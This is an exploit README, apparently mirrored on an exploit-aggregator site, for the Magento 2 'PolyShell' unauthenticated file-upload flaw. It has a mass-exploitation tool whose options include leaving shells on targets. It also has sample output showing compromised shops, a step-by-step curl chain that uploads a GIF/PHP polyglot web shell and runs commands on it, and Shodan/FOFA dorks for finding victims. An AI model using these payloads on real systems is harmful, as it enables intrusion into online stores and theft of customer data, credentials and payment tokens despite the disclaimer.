Share
## https://sploitus.com/exploit?id=D397DABE-CD17-55ED-839E-2FA94E723B4C
CVE-2025-20720 โ€” PolyShell: Magento 2 Unauthenticated File Upload RCE
Pre-Auth REST API โ†’ PHP Polyglot Upload โ†’ Code Execution

---

## Overview

**CVE-2025-20720** (PolyShell) is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in **Adobe Commerce / Magento 2** versions **โ‰ค 2.4.8**.

The guest cart REST API (`/V1/guest-carts/:cartId/items`) accepts file uploads via product custom options without verifying:
1. The option ID against the product's actual configured options
2. Whether the product supports file-type options
3. The file extension (`.php`, `.phtml`, `.phar` are accepted)

Attackers upload **GIF89a polyglot files** (valid images containing PHP code) that pass `getimagesizefromstring()` validation and execute as PHP when accessed.

### Affected Versions

| Magento Version | Status |
|---|---|
| โ‰ค 2.4.8 (all versions) | Vulnerable |
| 2.4.9-alpha3+ | Patched |

> **Discovered by:** [Sansec Research](https://sansec.io/research/magento-polyshell) (March 17, 2026)

---

## Vulnerability Mechanism

### Root Cause

Three missing security checks in Magento's cart item file upload handler:

```php
// Vulnerable: no option validation, no type gating, no extension restriction
function processFileUpload($cartItem) {
    $fileInfo = $cartItem['product_option']['extension_attributes']['file_info'];
    $data = base64_decode($fileInfo['base64_encoded_data']);
    // Only checks MIME type via getimagesizefromstring() โ€” trivially bypassed
    // Writes to pub/media/custom_options/quote/ with original filename
    file_put_contents($destPath . $fileInfo['name'], $data);
}
```

### Attack Flow

```
1. Discover Magento 2 via /magento_version or guest-cart API
2. Discover valid product SKU via GraphQL or REST API (unauthenticated)
3. POST /rest/default/V1/guest-carts โ†’ get cart ID
4. POST /rest/default/V1/guest-carts/{id}/items with base64 polyglot PHP
5. Shell lands at pub/media/custom_options/quote/nx_xxx.php
6. Access shell โ†’ RCE
```

### Polyglot Bypass

```
GIF89a header โ†’ passes getimagesizefromstring()
  +
 โ†’ executes as PHP
  =
polyglot file that is both a valid GIF and executable PHP
```

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2025-20720.git
cd CVE-2025-20720
pip install -r requirements.txt
```

---

## Usage

```bash
# Single target
python cve_2025_20720.py -t target.com

# Mass exploit
python cve_2025_20720.py -f magento.txt

# Mass exploit + save results
python cve_2025_20720.py -f magento.txt -o shells.txt

# Leave shells on target
python cve_2025_20720.py -t target.com --no-cleanup

# Debug mode (show every request)
python cve_2025_20720.py -t target.com --debug
```

### Arguments

```
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save RCE results to file
  --threads         Concurrent workers (default: 20)
  --no-cleanup      Leave shells on target
  --debug           Show every HTTP request + stage in real-time
  -v, --verbose     Show detailed output
```

---

## Proof of Concept

### Single Target

```bash
$ python cve_2025_20720.py -t magento-target.com --debug
```

```
  PolyShell | Magento 2 Arbitrary File Upload RCE

  [magento-target.com] Magento 2.4.7 detected via version endpoint
  [magento-target.com] [+] Magento 2.4.7
  [magento-target.com] [*] discovering SKU...
  [magento-target.com] SKU via GraphQL: 24-MB01
  [magento-target.com] [*] deploying shell...
  [magento-target.com] creating guest cart...
  [magento-target.com] cart_id: abc123def456...
  [magento-target.com] uploading shell as nx_a1b2c3d4.php...
  [magento-target.com] shell found: https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php
  [magento-target.com] [!] RCE confirmed

  Host       : magento-target.com
  Magento    : YES v2.4.7
  SKU        : 24-MB01
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php
  Token      : f3a8b2c1d4e5f6a7
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s
```

### Mass Exploit

```
  PolyShell | Magento 2 Arbitrary File Upload RCE
  Targets: 500  |  Threads: 20  |  Mode: QUIET

  [!] magento-shop.com                                 4.2s  RCE  uid=33(www-data) gid=33(www-data)
  [!] magento-store.de                                 5.1s  RCE  uid=1001(app) gid=1001(app)
  [50/500] 10%  |  Magento:23  RCE:8

  Done | 145s | Targets:500 Magento:23 Uploaded:12 RCE:8
```

### Manual Exploitation

**Step 1 โ€” Detect Magento**
```bash
curl -sk 'https://target.com/magento_version'
# Magento/2.4.7
```

**Step 2 โ€” Get product SKU**
```bash
curl -sk 'https://target.com/graphql' \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ products(search: \"\", pageSize: 1) { items { sku } } }"}'
```

**Step 3 โ€” Create guest cart**
```bash
CART_ID=$(curl -sk -X POST 'https://target.com/rest/default/V1/guest-carts' \
  -H 'Content-Type: application/json' -d '{}')
```

**Step 4 โ€” Upload polyglot PHP shell**
```bash
SHELL_B64=$(echo "GIF89a..." | base64 -w0)
curl -sk -X POST "https://target.com/rest/default/V1/guest-carts/$CART_ID/items" \
  -H 'Content-Type: application/json' \
  -d "{
    \"cartItem\": {
      \"sku\": \"24-MB01\",
      \"qty\": 1,
      \"quote_id\": \"$CART_ID\",
      \"product_option\": {
        \"extension_attributes\": {
          \"file_info\": {
            \"base64_encoded_data\": \"$SHELL_B64\",
            \"type\": \"image/gif\",
            \"name\": \"shell.php\"
          }
        }
      }
    }
  }"
```

**Step 5 โ€” Execute commands**
```bash
curl -sk 'https://target.com/pub/media/custom_options/quote/shell.php?c=id'
```

---

## FOFA Dork

```
body="magento_version"
```

## Shodan

```
http.component:"Magento"
```

---

## Impact

Successful exploitation yields **remote code execution as the web server user**. From there:

- Extract `app/etc/env.php` โ†’ database credentials, encryption keys
- Access customer PII, payment tokens, admin credentials
- Deploy persistent backdoors across Magento directories
- Pivot to internal networks

---

## Disclaimer

> **FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.**
>
> This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.
>
> Unauthorized access to computer systems is illegal and may violate:
> - United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
> - Indonesia: UU ITE Pasal 30 & 46
> - European Union: Directive 2013/40/EU
> - United Kingdom: Computer Misuse Act 1990
>
> The authors assume no liability for misuse.

---

## References

| Resource | Link |
|---|---|
| Sansec Research | [sansec.io/research/magento-polyshell](https://sansec.io/research/magento-polyshell) |
| Akamai Analysis | [akamai.com/blog/security-research/magento-polyshell](https://www.akamai.com/blog/security-research/magento-polyshell-apsb25-94) |
| Searchlight Cyber | [slcyber.io](https://slcyber.io/research-center/magento-polyshell-unauthenticated-file-upload-to-rce-in-magento-apsb25-94/) |
| APSB25-94 | [Adobe Security Bulletin](https://helpx.adobe.com/security/products/magento/apsb25-94.html) |

---


  This project is not affiliated with Adobe, Magento, or Sansec.